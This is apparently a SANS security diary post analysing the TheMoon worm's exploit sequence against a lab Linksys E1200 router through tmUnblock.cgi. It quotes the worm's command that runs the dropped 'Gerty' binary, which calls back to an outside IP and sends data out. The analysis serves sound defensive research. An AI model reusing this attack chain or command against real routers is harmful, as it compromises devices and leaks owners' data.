Using a vulnerable Linksys E1200 router in a lab, I was finally able to capture the complete (?) sequence of exploits used by the Linksys Worm "TheMoon". 

The quick summary of what I found so far:

• The complete sequence uses three exploits, all exploiting the same vulnerable script "tmUnblock.cgi"
• Initially, the worm binary is uploaded to the vulnerable router
• Next, the binary is renamed to "/tmp/Gerty" and made executable
• the third request starts "Gerty" and passes the infecting IP as parameters. Gerty will send a request to this IP, likely to confirm that it was launched.

I did not see any configuration changes in the router (password, DNS...)

As we wrote earlier, the initial "HNAP1" request is just used to fingerprint the router to figure out if it is vulnerable.

The worm sends a number of DNS queries:

• one A query for 83.219.168.0/24 (this doesn't really make sense, and is likely a bug. This is the network range that is then scanned)
• A queries for ruhmanadin.dyndns.org which in my case resolved to 139.194.237.79. I did not see any connections to this IP. I suspect that this is an IP address used to report successful exploitation.

The "Gerty" binary checks in with the host the infection comes from. The ports are send as parameters. In my case, the complete command was:

cd /tmp/;./Gerty -L 24.205.94.32:8080:9841 -u xxxxxx

As a result, the connection went to port 9841 at 24.205.94.32. About 1.4MBytes are sent, most of it binary.  But there are a few readable strings like a timestamp, the SSID of the router and the string "Lunar Industries LTD".

For a full pcap of the activity, see https://isc.sans.edu/diaryimages/moon.pcap . I tried to anonymize the pcap as much as possible, but some of the IPs were left intact. If you find anything else, please let me know. Note that the pcap includes a capture of the binary file as well (look for the http traffic on port 700). To protect others, I redirected all outbound port 80/8080 traffic to a sinkhole which may cause some artifacts.

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter